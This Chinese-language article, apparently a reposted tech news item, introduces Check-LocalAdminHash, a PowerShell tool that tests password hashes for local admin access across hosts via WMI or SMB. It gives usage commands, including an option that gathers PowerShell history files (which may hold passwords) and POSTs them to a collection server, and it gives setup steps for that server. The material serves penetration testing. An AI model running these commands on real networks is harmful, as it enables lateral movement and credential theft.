开发工具团结互助，让我们共同进步！

当前位置：主页 > 技术资讯 > 工具 > 开发工具 >

我们的优势： 10年相关行业经验，专业设计师量身定制设计师一对一服务模式，上百家客户案例！企业保证，正规流程，正规合作 7*24小时在线服务，售后无忧

Check-LocalAdminHash:基于PowerShell开发的工具，通过WMI或SMB对多台主机进行身份验证

文章来源：重庆软件开发围观次数：

分享到:

摘要：Check-LocalAdminHash是基于PowerShell开发的工具，通过WMI或SMB对多台主机进行身份验证，并使用密码哈希确定用户提供的凭据是否属于本地管理员帐户。

Check-LocalAdminHash是基于PowerShell开发的工具，通过WMI或SMB对多台主机进行身份验证，并使用密码哈希确定用户提供的凭据是否属于本地管理员帐户。

如果您获得用户帐户的密码，并且需要确定该用户帐户是否是目标网络系统中的本地管理员帐户，则Check-LocalAdminHash会派上用场。值得一提的是，该工具还集成了两个第三方工具，即Invoke-TheHash（用于凭据检测）和PowerView的脚本工具模块（用于枚举域名计算机）。

之所以开发此工具，是因为在信息收集活动中，需要收集目标网络中所有系统的PowerShell命令行历史记录文件（PSReadline），而PSReadline命令行历史记录实际上是Bash记录的PowerShell版本。该记录包含许多有趣的内容，包括用户在终端中输入的密码。因此，Check-LocalAdminHash还提供了一个选项来帮助用户筛选和筛选所有PSReadline文件。

工具下载

研究人员可以使用以下命令在本地克隆项目源代码：

git clone github.com/dafthack/Check-LocalAdminHash.git

工具使用示例

通过WMI检测所有主机的本地管理员哈希

以下命令将使用域名“ testdomain.local”来查询所有主机系统，然后尝试通过WMI验证凭据的有效性，并使用用户“ testdomain.local \ PossibleAdminUser”和密码哈希：

Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

提取所有PSReadline终端历史记录

以下命令将使用域名“ testdomain.local”来查询所有主机系统，然后尝试通过WMI验证凭据的有效性，并使用用户“ testdomain.local \ PossibleAdminUser”和密码哈希。接下来，它尝试找到目标网络中每个系统的PowerShell终端历史记录文件（PSReadline），然后使用POST将它们发送到我们的Web服务器：

Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

使用CIDR

以下命令将使用该工具提供的CIDR范围来生成目标列表，然后尝试通过WMI验证用户凭据并使用本地用户“ PossibleAdminUser”和密码哈希：

Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24

使用目标列表和SMB并将结果输出到文件

以下命令将使用提供的目标列表，并尝试通过SMB和本地用户“ PossibleAdminUser”以及密码哈希验证用户凭据：

Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt

单一目标

以下命令用于主机系统“ 192.168.0.16”，它将使用SMB并使用用户名“ Administrator”进行本地管理员帐户验证：

Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB

Check-LocalAdminHash选项：

Username - The Username for attempting authentication.

PasswordHash - Password hash of the user.

TargetSystem - Single hostname or IP for authentication attempt.

TargetList - A list of hosts to scan one per line

AllSystems - A switch that when enabled utilizes PowerView modules to enumerate all domain systems. This list is then used to check local admin access.

Domain - This is the domain that PowerView will utilize for discovering systems.

UserDomain - This is the user's domain to authenticate to each system with. Don't use this flag if using a local cred instead of domain cred.

Protocol - This is the setting for whether to check the hash using WMI or SMB. Default is 'WMI' but set it to 'SMB' to check that instead.

CIDR - Specify a CIDR form network range such as 192.168.0.0/24

Threads - Defaults to 5 threads. (I've run into some odd issues setting threads more than 15 with some results not coming back.)

ExfilPSReadline - For each system where auth is successful it runs a PowerShell command to locate PSReadLine console history files (PowerShell command history) and then POSTS them to a web server. See the Readme for server setup.

PSReadline过滤配置

接下来，我们将需要设置一个服务器来从外部接收文件上传。开始之前，建议您首先锁定设备的防火墙规则以及允许上传PSReadline文件的IP地址。

1.设置用于接收上传文件的服务器。该服务器必须可以通过HTTP / HTTPS访问。

2.将本项目中的index.php脚本复制到Web服务器的根目录（“ /var/www/html/index.php”）。

3.创建一个上传目录：

mkdir /var/www/html/uploads

4.修改目录的权限：

chmod 0777 /var/www/html/uploads

5.安装PHP环境：

apt-get install php

6.重新启动Apache服务器：

service apache2 restart